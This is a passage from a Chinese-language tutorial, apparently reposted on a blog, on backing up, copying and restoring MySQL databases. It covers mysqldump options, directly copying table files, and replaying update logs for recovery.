				<p>　　# MySQL Dump 6.0# # Host: localhost Database: samp_db#------------- </p>
				<p>　　--------------------------# Server version 3.23.2-alpha-log## Table st </p>
				<p>　　ructure for table absence#CREATE TABLE absence( student_id int(10) </p>
				<p>　　unsigned DEFAULT 0 NOT NULL, date date DEFAULT 0000-00-00 NOT NUL </p>
				<p>　　L, PRIMARY KEY (student_id,date));## Dumping data for table absence </p>
				<p>　　#INSERT INTO absence valueS (3,1999-09-03);INSERT INTO absence value </p>
				<p>　　S (5,1999-09-03);INSERT INTO absence valueS (10,1999-09-08);...... </p>
				<p>　　文件剩下的部分有更多的INSERT和CREATE TABLE语句组成。如果你想压缩备份，使用类似如下的命令： </p>
				<p>　　%mysqldump samp_db | gzip &gt;/usr/archives/mysql/samp_db.1999-10-02.gz </p>
				<p>　　如果你要一个庞大的数据库，输出文件也将很庞大，可能难于管理。如果你愿意，你可以在 mysqldump 命令行的数据库名后列出单独的表名来倾到它们的内容，这将倾倒文件分成较小、更易于管理的文件。下例显示如何将 samp_db 数据库的一些表倾到进分开的文件中： </p>
				<p>　　%mysqldump samp_db student score event absence &gt;grapbook.sql </p>
				<p>　　%mysqldump samp_db member president &gt;hist-league.sql </p>
				<p>　　如果你生成准备用于定期刷新另一个数据库内容的备份文件，你可能想用 --add- drop-table 选项。这告诉服务器将 DROP TABLE IF EXISTS 语句写入备份文件，然后，当你取出备份文件并把它装载进第二个数据库时，如果表已经存在，你不会得到一个错误。 </p>
				<p>　　如果你倒出一个数据库以便能把数据库转移到另一个服务器，你甚至不必创建备份文件。要保证数据库存在于另一台主机，然后用管道倾倒数据库，这样 mysql 能直接读取 mysqldump 的输出。例如：你想从主机 pit- viper.snake.net 拷贝数据库 samp_db 到 boa.snake.net，可以这样很容易做到： </p>
				<p>　　%mysqladmin -h boa.snake.net create samp_db </p>
				<p>　　%mysqldump samp_db | mysql -h boa.snake.net samp_db </p>
				<p>　　以后，如果你想再次刷新 boa.snake.net 上的数据库，跳过 mysqladmin 命令，但要对 mysqldump 加上--add-drop-table 以避免的得到表已存在的错误： </p>
				<p>　　%mysqldump --add-drop-table samp_db | mysql -h boa.snake.net samp_db </p>
				<p>　　mysqldump 其它有用的选项包括： </p>
				<p>　　--flush-logs 和 --lock-tables 组合将对你的数据库检查点有帮助。--lock-tables 锁定你正在倾倒的所有表，而 --flush-logs 关闭并重新打开更新日志文件，新的更新日志将只包括从备份点起的修改数据库的查询。这将设置你的更新日志检查点位备份时间。（然而如果你有需要执行个更新的客户，锁定所有表对备份期间的客户访问不是件好事。） </p>
				<p>　　如果你使用 --flush-logs 设置检查点到备份时，有可能最好是倾倒整个数据库。 </p>
				<p>　　如果你倾倒单独的文件，较难将更新日志检查点与备份文件同步。在恢复期间，你通常按数据库为基础提取更新日志内容，对单个表没有提取更新的选择，所以你必须自己提取它们。 </p>
				<p>　　缺省地，mysqldump 在写入前将一个表的整个内容读进内存。这通常确实不必要，并且实际上如果你有一个大表，几乎是失败的。你可用 --quick 选项告诉 mysqldump 只要它检索出一行就写出每一行。为了进一步优化倾倒过程，使用 --opt 而不是 --quick。--opt 选项打开其它选项，加速数据的倾倒和把它们读回。 </p>
				<p>　　用 --opt 实施备份可能是最常用的方法，因为备份速度上的优势。然而，要警告你，--opt 选项确实有代价，--opt 优化的是你的备份过程，不是其他客户对数据库的访问。--opt 选项通过一次锁定所有表阻止任何人更新你正在倾倒的任何表。你可在一般数据库访问上很容易看到其效果。当你的数据库一般非常频繁地使用，只是一天一次地调节备份。 </p>
				<p>　　一个具有 --opt 的相反效果的选项是 --dedayed。该选项使得 mysqldump 写出 INSERT DELAYED 语句而不是 INSERT 语句。如果你将数据文件装入另一个数据库并且你想是这个操作对可能出现在该数据库中的查询的影响最小，--delayed 对此很有帮助。 </p>
				<p>　　--compress 选项在你拷贝数据库到另一台机器上时很有帮助，因为它减少网络传输字节的数量。下面有一个例子，注意到 --compress 对与远端主机上的服务器通信的程序才给出，而不是对与本地主机连接的程序： </p>
				<p>　　%mysqldump --opt samp_db | mysql --compress -h boa.snake.net samp_db </p>
				<p>　　2 使用直接拷贝数据库的备份和拷贝方法 </p>
				<p>　　另一种不涉及 mysqldump 备份数据库和表的方式是直接拷贝数据库表文件。典型地，这用诸如 cp、tar 或 cpio 实用程序。本文的例子使用 cp。 </p>
				<p>　　当你使用一种直接备份方法时，你必须保证表不在被使用。如果服务器在你则正在拷贝一个表时改变它，拷贝就失去意义。 </p>
				<p>　　保证你的拷贝完整性的最好方法是关闭服务器，拷贝文件，然后重启服务器。如果你不想关闭服务器，要在执行表检查的同时锁定服务器。如果服务器在运行，相同的制约也适用于拷贝文件，而且你应该使用相同的锁定协议让服务器“安静下来”。 </p>
				<p>　　假设服务器关闭或你已经锁定了你想拷贝的表，下列显示如何将整个 samp_db 数据库备份到一个备份目录（DATADIR 表示服务器的数据目录）： </p>
				<p>　　%cd DATADIR%cp -r samp_db /usr/archive/mysql </p>
				<p>　　单个表可以如下备份： </p>
				<p>　　%cd DATADIR/samp_db%cp member.* /usr/archive/mysql/samp_db%cp score.* </p>
				<p>　　/usr/archive/mysql/samp_db .... </p>
				<p>　　当你完成了备份时，你可以重启服务器（如果关闭了它）或释放加在表上的锁定（如果你让服务器运行）。 </p>
				<p>　　要用直接拷贝文件把一个数据库从一台机器拷贝到另一台机器上，只是将文件拷贝到另一台服务器主机的适当数据目录下即可。要确保文件是 MyIASM 格式或两台机器有相同的硬件结构，否则你的数据库在另一台主机上有奇怪的内容。你也应该保证在另一台机器上的服务器在你正在安装数据库表时不访问它们。 </p>
				<p>　　3 复制数据库（Replicating Database） </p>
				<p>　　复制（Replication）类似于拷贝数据库到另一台服务器上，但它的确切含义是实时地保证两个数据库的完全同步。这个功能将在 3.23 版中出现，而且还不很成熟，因此本文不作详细介绍。 </p>
				<p>　　4 用备份恢复数据 </p>
				<p>　　数据库损坏的发生有很多原因，程度也不同。如果你走运，你可能仅损坏一两个表（如掉电），如果你倒霉，你可能必须替换整个数据目录（如磁盘损坏）。在某些情况下也需要恢复，比如用户错误地删除了数据库或表。不管这些倒霉事件的原因，你将需要实施某种恢复。 </p>
				<p>　　如果表损坏但没丢失，尝试用 myisamchk 或 isamchk 修复它们，如果这样的损坏可有修复程序修复，你可能根本不需要使用备份文件。</p>
				<p>　　恢复过程涉及两种信息源：你的备份文件和个更新日志。备份文件将表恢复到实施备份时的状态，然而一般表在备份与发生问题之间的时间内已经被修改，更新日志包含了用于进行这些修改的查询。你可以使用日志文件作为 mysql 的输入来重复查询。这已正是为什么要启用更新日志的原因。 </p>
				<p>　　恢复过程视你必须恢复的信息多少而不同。实际上，恢复整个数据库比单个表跟容易，因为对于数据库运用更新日志比单个表容易。 </p>
				<p>　　4.1 恢复整个数据库 </p>
				<p>　　首先，如果你想恢复的数据库是包含授权表的 mysql 数据库，你需要用 --skip -grant-table 选项运行服务器。否则，它会抱怨不能找到授权表。在你已经恢复表后，执行 mysqladmin flush-privileges 告诉服务器装载授权标并使用它们。 </p>
				<p>　　将数据库目录内容拷贝到其它某个地方，如果你在以后需要它们。 </p>
				<p>　　用最新的备份文件重装数据库。如果你用 mysqldump 产生的文件，将它作为 mysql 的输入。如果你用直接从数据库拷贝来的文件，将它们直接拷回数据库目录，然而，此时你需要在拷贝文件之前关闭数据库，然后重启它。 </p>
				<p>　　使用更新日志重复做备份以后的修改数据库表的查询。对于任何可适用的更新日志，将它们作为 mysql 的输入。指定 --one-database 选项使得 mysql 只执行你有兴趣恢复的数据库的查询。如果你知道你需要运用所有更新日志文件，你可以在包含日志的目录下使用这条命令： </p>
				<p>　　% ls -t -r -1 update.[0-9]* | xargs cat | mysql --one-database db_name </p>
				<p>　　ls 命令生成更新日志文件的一个单列列表，根据服务器产生它们的次序排序（主意：如果你修改任何一个文件，你将改变排序次序，这导致更新日志一错误的次序被运用。） </p>
				<p>　　很可能你会是运用某几个更新日志。例如，自从你备份以来产生的更新日志被命名为 update.392、update.393 等等，你可以这样重新运行： </p>
				<p>　　%mysql --one-database db_name &lt; update.392 </p>
				<p>　　%mysql --one-database db_name &lt; update.393 </p>
				<p>　　..... </p>
				<p>　　如果你正在实施恢复且使用更新日志恢复由于一个错误建议的 DROP DATABASE、DROP TABLE 或 DELETE 语句造成丢失的信息，在运用更新日志之前，要保证从其中删除这些语句。 </p>
				<p>　　4.2 恢复单个表 </p>
				<p>　　恢复单个表较为复杂。如果你用一个由 mysqldump 生成的备份文件，并且它不包含你感兴趣的表的数据，你需要从相关行中提取它们并将它们用作 mysql 的输入。这是容易的部分。难的部分是从只运用于该表的更新日志中拉出片断。你会发觉 mysql_find_rows 实用程序对此很有帮助，它从更新日志中提取多行查询。 </p>
				<p>　　另一个可能性是使用另一台服务器恢复整个数据库，然后拷贝你想要的表文件到原数据库中。这可能真的很容易！当你将文件拷回数据库目录时，要确保原数据库的服务器关闭。 </p>
		</div>
<img src ="http://www.blogjava.net/jiabao/aggbug/192377.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-12 11:35 <a href="http://www.blogjava.net/jiabao/archive/2008/04/12/192377.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>